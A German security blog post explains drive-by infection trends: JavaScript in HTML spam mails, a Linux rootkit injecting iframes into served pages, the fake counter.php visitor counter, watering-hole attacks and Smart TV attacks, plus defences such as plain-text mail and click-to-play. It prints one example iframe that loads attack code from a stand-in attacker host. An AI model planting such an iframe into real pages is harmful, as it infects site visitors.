Skip to content

Drive-by-Infektionen per E-Mail und mehr

Zum Abschluss des "Updates" zu Drive-by-Infektionen gibt es eine bunte Mischung von Informationen. Los geht es mit einem äußerst unschönen Angriff, bei dem die Drive-by-Infektion ungefragt ins Haus kommt:

Drive-by-E-Mails

Im Januar 2012 hat Frank Rickert im eleven-securityblog über einen neuen Angriff berichtet: Spam-E-Mails schleusen beim einfachen Ansehen Schadcode in die Rechner der Empfänger ein, ohne dass der Benutzer aktiv werden und zum Beispiel einen Anhang öffnen oder einen Link anklicken muss. Der vollautomatische Angriff wird über HTML-Mails erreicht, darin enthaltene JavaScript-Code zum Einschleusen von Schadcode wird beim Öffnen der E-Mail automatisch ausgeführt.

Der Schutz gegen diese Angriffe ist einfach: Sie müssen nur ihr Mail-Programm anweisen, keine HTML-Mails anzuzeigen (sofern es das nicht von Haus aus schon nicht tut). HTML ist in E-Mails normalerweise völlig überflüssig, die Mails seriöser Absender enthalten in der Regel auch einen Klartext-Teil. Wenn nicht, handelt es sich in den allermeisten Fällen um Werbung. Und zwar von Unternehmen, die kein Interesse daran haben, dass ihre Mail von allen Empfängern gelesen wird, denn sonst gäbe es ja einen Klartext-Teil.

Sie dürfen nach dem Ausschalten der HTML-Anzeige nur nicht den Fehler machen, den meist als Anhang beigefügten HTML-Teil der Mail zu öffnen, da dann der Schadcode (sofern vorhanden) aktiviert wird.

Drive-by-iframes über Linux-Rootkit

Im November 2012 wurde auf der Mailingliste Full-Disclosure ein Rootkit für 64-Bit-Linux veröffentlicht, das eine hier relevante Funktion hat: Es fügte in die vom Webserver ausgelieferten Seiten ein iframe ein, in dem Code für Drive-by-Infektionen geladen wurde:

<iframe src="http://angreifer.example/index.php"></iframe>

Marta Janus vom Kaspersky Lab hat eine Analyse des Rootkits veröffentlicht. Das Rootkit ist für den Kernel 2.6.32-5-amd64 maßgeschneidert, der zum Zeitpunkt der Veröffentlichung des Rootkits im 64-bit Debian Squeezy verwendet wurde.

Das Einschleusen des iframes erfolgt über eine manipulierte Systemfunktion zum Senden von TCP-Pakete, tcp_sendmsg. Den einzubindenden Code holt sich das Rootkit von einem Command&Control-Server, der Zugriff ist Passwortgeschützt und Kaspersky konnte nicht darauf zugreifen.

Ein Rootkit ist jedenfalls mal ganz was anderes als die zuvor üblichen Angriffswege wie SQL-Injection-Massenhacks oder präparierte PHP-Skripte. Aber auch die PHP-Skripte sind weiterhin im Einsatz.

Ein Klassiker: counter.php

Vicente Diaz vom Kaspersky Lab hat im August 2013 über counter.php berichtet, Das Skript ist nicht, wie es der Name nahe legen soll, ein Besucherzähler, sondern dient dazu, Code für Drive-by-Infektionen in die betroffenen Seiten einzuschleusen. Unter den eingesetzten Exploits befand sich auch einer der 0-Day-Exploits aus 2013, die Java-Schwachstelle CVE-2013-0422. Die war schon damals aufgefallen, weil der Exploit in einer ganzen Reihe von Exploit-Kits enthalten war.

Hier interessiert aber der Startpunkt der Drive-by-Infektionen, counter.php, und nicht die dann später verwendeten Exploits. Wie ist das Skript in die betroffenen Webanwendungen eingeschleust worden? Sehr wahrscheinlich über ausgespähte FTP-Zugangsdaten. Entsprechende Spyware gibt es ja reichlich.

Da die Cyberkriminellen lediglich eine Zeile (einen iframe zum Laden von counter.php) in die vorhandenen Skripte einfügen und eine zusätzliche Datei (counter.php) auf dem Server speichern, sind die Manipulationen lange unentdeckt geblieben. Was kein Wunder ist, wenn man bedenkt, wie viele selten aktualisierte Webanwendungen es gibt. Selbst wenn sich mal jemand den Code der Seiten ansieht, wird er nichts auf Anhieb verdächtiges finden. Er sieht dann lediglich einen Besucherzähler, den irgend wer irgend wann mal hinzugefügt hat. Verdächtig wird der nur, wenn sich entweder jemand am getarnten Code stört (der aber leider auch von normalen Entwicklern verwendet wird, weil sie dem Irrtum unterliegen, so ihren Code geheim halten zu können) oder weiß, dass der Zähler da nichts zu suchen hat.

Vicente Diaz hat in diesem Zusammenhang auf ein besonderes Problem hingewiesen: Oft scheinen sowohl Websitebetreiber als auch Hoster Meldungen über den Schadcode ignoriert zu haben. Was insbesondere angesichts der vielen möglicherweise infizierten "aufgegebenen" Websites gefährlich ist. Wobei ich da die Hoster in der Pflicht sehe: Auch wenn ein Betreiber sich nicht mehr um seine Website kümmert (oder gerade dann), sollte der Hoster auf Beschwerden reagieren und notfalls die Website offline nehmen, bis der Betreiber reagiert hat. Immerhin geht von diesen Websites eine reale Gefahr für alle Besucher aus, das sollte eine entsprechende Reaktion durch den Hoster rechtfertigen, wenn der Betreiber nicht reagiert.

Gezielte Drive-by-Angriffe

Ich habe es zwar schon des öfteren erwähnt, möchte aber hier noch einmal gezielt darauf hin weisen: Bereits seit einiger Zeit kommen Drive-by-Infektionen im Rahmen von gezielten Angriffen, den sogenannten "Wasserloch-Angriffen", zum Einsatz. Dabei werden Websites kompromittiert und für Drive-by-Infektionen präpariert, die von der bzw. den Zielperson(en) besucht werden. Einige Beispiele sind

  • die Angriffe über die IE-0-Day-Schwachstelle im Dezember 2012,
  • die Kompromittierung der Website der "Reporter ohne Grenzen" und ihre Präparierung mit einem Exploit für die schon oben erwähnte Java-0-Day-Schwachstelle CVE-2013-0422 im Januar 2013 (nachdem die 0-Day-Schwachstelle bereits behoben worden war),
  • die Angriffe über die 0-Day-Schwachstelle im IE 8 Anfang Mai 2013, die gegen Angestellte der US-Regierung, die etwas mit Atomenergie oder Atomwaffen zu tun haben, gerichtet war,
  • die Angriffe über php.net im Oktober 2013, die evtl. gegen PHP-Entwickler gerichtet waren und
  • die Angriffe mit dem 0-Day-Exploit für den IE im November 2013.

Im Rahmen von "Wasserloch-Angriffen" kommen auch des öfteren 0-Day-Exploits erstmals zum Einsatz, was im Rahmen normaler Drive-by-Infektionen ja nur selten der Fall ist. Die Exploitkit-Entwickler sind zwar schnell darin, einen im Rahmen gezielter Angriffe genutzten 0-Day-Exploits nach dessen Bekanntwerden in die Exploitkits zu integrieren, selbst 0-Day-Exploits entwickeln tun sie sie aber normalerweise nicht. Was ja auch kein Wunder es, es sind ja Exploitkit-Entwickler und keine Exploit-Entwickler.

Drive-by-Angriffe auf Smart-TV

Das "Internet der Dinge" soll auch an dieser Stelle nicht unerwähnt bleiben: Auf der Black Hat USA 2013 haben Aaron Grattafiori und Josh Yavor Angriffe auf Smart-TV von Samsung vorgestellt: "The Outer Limits: Hacking the Samsung Smart TV" (ein Video der Präsentation gibt es auf YouTube). Unter anderem ist es möglich, im Rahmen eines Drive-by-Angriffs zum Beispiel Einstellungen des Geräts zu ändern oder auf die eingebaute Kamera zuzugreifen. Dazu muss der Benutzer nur mit dem Webbrowser des Smart-TV eine präparierte Seite ansurfen.

Und damit ist dann auch erst mal wieder Schluss mit Angriffen über Drive-by-Infektionen, Kommen wir noch kurz zu einer neuen Schutzmaßnahme:

"Click to Play" gegen Drive-by

Indem die Webbrowser für Plugins eine "Click to Play"-Funktion implementieren, legen sie vielen (aber nicht allen) Exploits für Drive-by-Infektionen eine nur schwer zu meisternde Hürde in den Weg: Java oder der Flash-Player werden durch Click-to-Play erst aktiv, wenn der Benutzer ihrem Start durch einen Klick zustimmt. Der JavaScript-Code zum Einschleusen der Exploits kann Java oder den Flash-Player also nicht mehr selbständig starten und muss auf Exploits für andere Komponenten oder Social-Engineering-Techniken ausweichen. Wobei letzteres dann schon den Rahmen von Drive-by-Infektionen verlässt.

Soviel zum Thema "Drive-by-Infektionen". In der nächsten Folge geht es dann mit aktuellen Entwicklungen zum Clickjacking weiter.

Carsten Eilers

Trackbacks

Dipl.-Inform. Carsten Eilers am : Neues zur iOS-Sicherheit, bösartigen E-Mails und Überwachungsmöglichkeiten

Vorschau anzeigen
Heute gibt es mal wieder eine bunte Mischung an Kommentaren. Los geht es mit einem Hinweis auf eine Diskussion im Blog von Bruce Schneier: Ist die &quot;GOTO FAIL&quot;-Lücke in iOS und Mac OS X Mavericks ein Fehler oder eine absichtliche Hintertü

Dipl.-Inform. Carsten Eilers am : Eine neue 0-Day-Schwachstelle in MS Word ist auch über Outlook ausnutzbar

Vorschau anzeigen
Es gibt schon wieder eine neue 0-Day-Schwachstelle, die fünfte in diesem Jahr. Diesmal befindet sich die Schwachstelle in MS Word, sie kann aber auch über die Vorschau in Outlook ausgenutzt werden. Microsoft warnt vor Angriffen

Dipl.-Inform. Carsten Eilers am : Drucksache: PHP Magazin 6.15 - Docker-Sicherheit - eine Bestandsaufnahme

Vorschau anzeigen
Im PHP Magazin 6.2015 ist ein Artikel zur Sicherheit von Docker erschienen. Docker isoliert Anwendungen in Container. Aber ist diese Isolation auch sicher? Manche meinen, nein - und bringen eine Alternative an den Start. Sollte man also um